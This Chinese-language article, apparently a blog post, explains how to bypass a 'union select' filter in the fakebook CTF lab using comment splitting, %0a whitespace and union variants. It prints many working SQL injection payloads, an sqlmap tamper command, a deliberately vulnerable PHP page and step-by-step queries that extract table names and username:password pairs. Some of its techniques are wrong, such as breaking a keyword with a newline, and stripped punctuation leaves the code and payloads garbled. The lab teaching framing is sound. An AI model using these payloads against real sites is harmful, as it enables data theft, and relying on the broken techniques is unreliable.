行业资讯
SQL注入绕过技巧:利用注释符与换行符突破union select过滤
1. 项目概述与核心思路拆解最近在复现和测试一些经典的Web安全靶场时我又遇到了那个老朋友——fakebook。这个靶场在很多CTF比赛和技能树练习里都出现过它的一个经典关卡就是考察对UNION SELECT这类常见SQL注入语句的过滤绕过。很多朋友一看到过滤第一反应就是尝试大小写、双写、编码但这些常规手法在fakebook这里往往行不通。这恰恰是它设计的精妙之处逼着你跳出思维定式去思考SQL语句更深层的解析逻辑和数据库特性。这个项目标题“绕过fakebook的union select过滤”点出了一个非常具体的实战场景。它不是一个宽泛的SQL注入教程而是针对一个特定过滤规则union select被整体视为黑名单关键词的深度攻坚。我们常说的“绕过”本质上是在和WAFWeb应用防火墙或应用程序自身的过滤逻辑玩一场“解析差异”的游戏。应用程序的字符串匹配逻辑和数据库SQL解析器的逻辑并不总是一致的。我们的目标就是找到并利用这些不一致。在开始之前我们必须明确一个前提所有的安全测试都应在合法授权的环境中进行例如本地搭建的CTF靶场、合法的渗透测试授权范围或像DVWA、Pikachu、sqli-labs这类专门用于学习的漏洞实验环境。本文讨论的所有技术仅用于安全研究与教学旨在提升防御能力。那么面对fakebook这种将union select作为黑名单字符串直接拦截的情况除了被轻易拦截的大小写变种如UnIoN SeLeCt或简单双写uniunionon selselectect还有哪些真正有效的思路接下来我将结合实战拆解三种经过验证、且原理各异的绕过技巧。2. 技巧一利用注释符分割与内联注释这是最经典也最需要理解数据库注释解析行为的一种方法。很多过滤逻辑是简单的字符串匹配或正则表达式匹配它们会检查传入的参数字符串中是否连续出现了union select这个子串。但是SQL注释符/**/,--,#在数据库解析时会被忽略而某些过滤逻辑却可能“看不见”它们。2.1 核心原理解析器的“无视”与过滤器的“紧盯”想象一下你有一份手写的指令“打开union select门”交给一个智能机器人数据库解析器和一个严格的保安应用程序过滤器。保安的眼睛会扫描整张纸一旦看到“union select”这四个字连在一起就立刻没收指令。但智能机器人很聪明它会自动忽略写在/* */里面的内容或者--后面的内容只执行有效的部分。我们的目标就是写一份既能骗过保安又能让机器人正确执行的指令。比如写成“打开uni/任意内容/on sel/任意内容/ect门”。保安看到的是“uni”和“on sel”和“ect门”没有连续的“union select”于是放行。机器人拿到后会忽略/*任意内容*/实际执行的指令就变成了“打开union select门”。在MySQL中多行注释/**/非常灵活它甚至可以打断一个关键字。这就是我们绕过的基础。2.2 实战Payload构造与测试假设fakebook的查询语句原型是SELECT * FROM users WHERE id$input并且$input参数过滤了union select。绕过Payload示例-1 uni/**/on sel/**/ect 1,2,3,4-- -或者使用更隐蔽的注释-1 uni/*!on*/ sel/*!ect*/ 1,2,3,4-- -这里/*!...*/是MySQL特有的“内联注释”在特定版本下或默认会被执行而非被忽略。这有时能绕过一些简单的注释符过滤。实操要点与注意事项注释内容的选择/**/中的内容可以是任意字符比如/****/、/*xyz*/甚至可以是/*!50000union*/这种带版本号的。这增加了绕过正则表达式的可能性因为正则可能只匹配/**/这种最小形式。注意闭合我们的Payload以-1开始目的是让原查询的id$input中的单引号提前闭合使-1成为查询的一部分然后跟上我们注入的代码。最后的-- -注意有个空格或#用于注释掉原查询后续可能存在的单引号或其他字符避免语法错误。空格问题过滤机制有时也会过滤空格。我们可以用注释符/**/来替代空格。例如union select可以写成union/**/select如果union select被整体过滤可以再升级为uni/**/on/**/sel/**/ect。实战测试在fakebook靶场中你需要先通过正常流程找到可能存在注入的点比如查看某条博客的页面参数可能是?no1。然后通过?no1‘和?no1‘ and ‘1’‘1等判断是否存在字符型注入。确认注入点后再尝试使用上述被分割的union select进行联合查询获取表名、列名和数据。踩坑记录有一次在测试一个类似过滤的环境时我使用了uni/*任意字符*/on sel/*任意字符*/ect但依然被拦截。后来发现WAF的正则表达式设计得非常“贪婪”它匹配的是uni[\s\S]*on[\s\S]*sel[\s\S]*ect这种模式即使用任意字符包括注释符连接起这四个片段也会被命中。这时候就需要换用下面第二种“语法糖”技巧了。3. 技巧二挖掘数据库特定的“语法糖”与操作符不同的数据库管理系统DBMS为了便捷性会提供一些特有的语法或操作符这些在标准SQL中可能不常见但却能被正确解析。利用这些特性我们可以构造出看起来不像union select但实际功能相同的语句。3.1 MySQL的||操作符与字符串拼接在MySQL中||默认情况下并不是标准的“或”逻辑运算符在ANSI模式下才是在非ANSI模式下它可以作为字符串连接符。虽然这不能直接替换union select但它可以用于在注入点动态构造查询语句是一种高阶技巧的组成部分。更直接相关的是MySQL对某些关键字“等价形式”的容忍度。一个更相关的例子是在H2数据库等某些DBMS中UNION和SELECT之间在某些上下文下可以省略空格或者使用某些特殊字符。但在MySQL/MySQL的常见过滤场景中我们更需要关注的是“无空格”或“换行符”注入。3.2 利用换行符%0a绕过空格和关键词过滤这是本技巧的核心。应用程序的过滤逻辑通常在接收HTTP请求的参数后在内存的字符串中进行匹配。而URL编码中的换行符%0aLine Feed, LF在HTTP传输中会被解码为一个换行字符。对于许多简单的字符串匹配函数如PHP的strpos()、preg_match()来说如果它们没有对输入进行规范化处理比如移除空白字符那么union%0aselect就是一个不包含“union select”子串的字符串因为中间有一个换行符。然而对于MySQL的SQL解析器来说换行符、制表符%09和普通的空格一样都被视为空白分隔符。因此union%0aselect会被成功解析为union select。实战Payload-1 union%0aselect 1,2,3,4-- -或者混合使用-1 uni%0aon sel%0aect 1,2,3,4-- -操作步骤与验证Burp Suite抓包使用Burp Suite拦截对fakebook页面的请求。修改参数找到疑似注入的参数如no将其值修改为1 union%0aselect 1,2,3,4-- -。注意这里是在Burp的Proxy - Intercept标签页中直接修改原始字节而不是在Repeater的已解码视图里输入union然后加个换行。更稳妥的做法是在Repeater中选中参数值右键选择Convert selection - URL - URL-encode key characters确保%0a被正确编码并发送。观察响应转发请求观察页面返回。如果页面上原本显示数据的位置出现了数字2或3对应我们select 1,2,3,4中的位置则说明联合查询成功执行注入点可利用且绕过成功。信息收集随后就可以将2或3的位置替换为数据库函数如version、database()、user()来获取信息进而查询information_schema数据库获取表名和列名。实操心得换行符绕过法成功率很高尤其是在一些自研的、过滤逻辑写得不够严谨的应用中。它不仅可用于分割union和select还可以用于分割其他被过滤的关键词如and、or、where等。此外除了%0a还可以尝试%0d回车符、%09制表符、%0b垂直制表符甚至%a0非断空格在某些HTML/数据库解析中也被视为空白。将这些符号组合使用可以构造出极其复杂的绕过Payload。4. 技巧三非常规联合查询与表达式嵌套当前两种基于“分割关键词”的思路遇到更智能的WAF时比如WAF会规范化输入移除多余的空白符和注释甚至进行语法分析我们就需要更深入地思考SQL语句本身的结构。第三种技巧的核心思想是不直接使用UNION SELECT这个形式但达到联合查询的效果或者诱导数据库以非预期的方式解析我们的输入。4.1 利用子查询与UNION DISTINCT变体标准的联合查询是UNION SELECT。但UNION本身有几种形式UNION DISTINCT默认去重和UNION ALL不去重。有些过滤规则可能只匹配UNION SELECT而忽略了UNION后面紧跟DISTINCT或ALL的情况。尝试Payload-1 union distinct select 1,2,3,4-- - -1 union all select 1,2,3,4-- -虽然distinct和all是合法关键字但很多简单的黑名单只是搜索“union select”这个固定短语因此可能绕过。更进一步我们可以考虑是否一定要从“注入点”所在的原始查询进行联合查询在某些特定场景下我们可以利用数据库的其它特性先获取数据再通过某种方式回显。但这通常比联合查询复杂。对于fakebook这类直接需要回显数据的场景联合查询仍是最直接的。4.2 利用数学表达式与运算符干扰词法分析高阶思路这是一个更偏门的思路依赖于特定数据库的解析特性。理论上SQL解析器在词法分析阶段会将输入流切分成一个个记号Token如关键字、标识符、运算符、字面量等。如果我们在关键字中间插入一些能被解析为其他记号的字符可能会干扰简单的过滤但数据库在语法分析阶段又能将其“纠正”或忽略。例如在某些数据库如早期版本的某数据库中可能会允许如下写法注意此示例为原理演示在MySQL中通常无效但体现了思路1 unionselect 1,2,3,4-- -这里的和在某些上下文下可能被解释为比较运算符但整个表达式不成立导致语法错误。这个思路的实用变种是利用加减乘除运算符和注释符的嵌套。一个在MySQL中可能有效的试探性Payload是1 and 12 uni||on sel||ect 1,2,3,4-- -这里假设||被当作字符串连接符uni||on的结果是字符串union。但这要求整个表达式处于一个能进行字符串运算的上下文中通常需要concat函数直接这样用成功率不高。它更适用于在WHERE子句中构造布尔条件而非直接替换UNION SELECT关键字。更可靠的思路是“无UNION注入”如果union被彻底封死那么就需要回归到布尔盲注、时间盲注或报错注入。例如利用updatexml()、extractvalue()的报错信息泄露数据1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)-- -但这已不属于“绕过union select过滤”的范畴而是更换了攻击方式。在fakebook靶场的设计中通常还是为union select绕过留下了可能性。4.3 综合Payload构造与自动化思考在实际渗透测试或CTF比赛中我们很少手动尝试每一种可能。通常会使用sqlmap这样的自动化工具并为其提供tamper脚本篡改脚本来尝试各种绕过。例如可以编写一个tamper脚本将union select自动替换为uni%0aon sel%0aect或uni/**/on/**/sel/**/ect。sqlmap的命令行可能如下sqlmap -u http://target.com/fakebook/page.php?no1 --tamperspace2comment.py,space2newline.py --techniqueU其中space2comment.py和space2newline.py是内置的用于绕过空格过滤的脚本。重要提醒自动化工具威力巨大务必只在授权环境中使用。在CTF中手动理解原理并构造Payload是更受鼓励的方式这能加深对漏洞本质的理解。5. 实战环境搭建与问题排查实录理解了原理最终还需要在实战中验证。我们以搭建一个类似fakebook的测试环境为例复盘整个过程。5.1 测试环境搭建要点你可以使用Docker快速搭建一个包含多种漏洞的测试环境例如vulhub或dvwa。如果想精准模拟fakebook的过滤场景可能需要自己写一个简单的PHP页面。一个简单的模拟代码如下 (vuln.php)?php $id $_GET[id]; // 模拟fakebook的过滤直接字符串匹配 if (stripos($id, union select) ! false) { die(Hacker detected!); } $conn new mysqli(localhost, root, password, testdb); $sql SELECT username, email FROM users WHERE id $id; $result $conn-query($sql); // ... 显示结果 ... ?这个过滤非常弱仅用stripos进行不区分大小写的匹配。我们的三种技巧都能轻易绕过它。5.2 常见问题与排查清单在实战测试中你可能会遇到以下问题及解决方案问题现象可能原因排查步骤与解决方案Payload提交后页面返回空白或错误1. SQL语法错误。2. 过滤规则比想象中严格。3. 数据类型不匹配。1.检查闭合符号确认单引号、括号()是否正确闭合。使用-- -或#注释掉后续部分。2.简化Payload先测试1 and 11和1 and 12确认注入点存在且为字符型。3.逐步构造先测试-1 union看是否报错再测试-1 union select 1,2逐步增加列数直到与原查询列数一致。换行符%0a绕过无效1. 服务端对输入进行了规范化如去除空白符。2. WAF在更底层拦截。1.尝试其他空白符用%09(Tab)、%0d(CR)、%0b(VT)、%a0(NBSP)替换或组合尝试。2.尝试注释符切换到/**/分割法。3.使用Burp Suite的Intruder用包含各种空白符的Payload集进行模糊测试。联合查询执行成功但页面不回显数据1. 联合查询的列数不对。2. 回显点不在当前页面。1.确定列数使用order by或union select null,null,...递增null的个数直到页面正常来确定原始查询的列数。2.寻找回显点将union select 1,2,3,...中的数字依次替换为version等观察哪个数字的位置内容被替换该位置即为可回显的数据点。注释符/**/被过滤或导致语法错误1. 应用过滤了/*或*/字符串。2. 注释符破坏了SQL语句上下文。1.尝试内联注释使用/*!union*/或/*!50000union*/。2.尝试不使用注释用所有绕过技巧均无效1. 使用了预编译语句Prepared Statement不存在注入。2. WAF具备真正的语法分析能力。1.确认漏洞是否存在重新用经典方法 and 11测试。如果都无效可能目标已使用参数化查询无法注入。2.升级攻击方式考虑是否为数字型注入、搜索型注入LIKE或转向盲注、报错注入、二次注入等更隐蔽的方式。5.3 从绕过到利用获取数据步骤假设我们已经用-1 uni%0aon sel%0aect 1,2,3,4-- -确定列数为4且第2、3列会回显到页面上。获取当前数据库名-1 uni%0aon sel%0aect 1,database(),user(),4-- -获取表名假设数据库名为fakebook-1 uni%0aon sel%0aect 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()-- -或者更精确-1 uni%0aon sel%0aect 1,(select group_concat(table_name) from information_schema.tables where table_schemafakebook),3,4-- -获取指定表的列名假设表名为users-1 uni%0aon sel%0aect 1,(select group_concat(column_name) from information_schema.columns where table_schemafakebook and table_nameusers),3,4-- -最终获取数据假设列名为username,password-1 uni%0aon sel%0aect 1,group_concat(username, :, password),3,4 from users-- -整个过程核心就是灵活运用被我们“伪装”过的union select将系统库information_schema中的信息一步步查询出来。绕过WAF或应用过滤的本质是一场关于“理解深度”的较量。了解数据库如何解析SQL了解应用层如何过滤输入在这两者之间找到认知差就是所有绕过技巧的源头。fakebook的这道关卡正是为了训练这种思维。在实际工作中这种思维不仅能用于攻击更能用于设计更坚固的防御方案——因为你知道攻击者会从哪些意想不到的角度思考。
郑州网站建设
网页设计
企业官网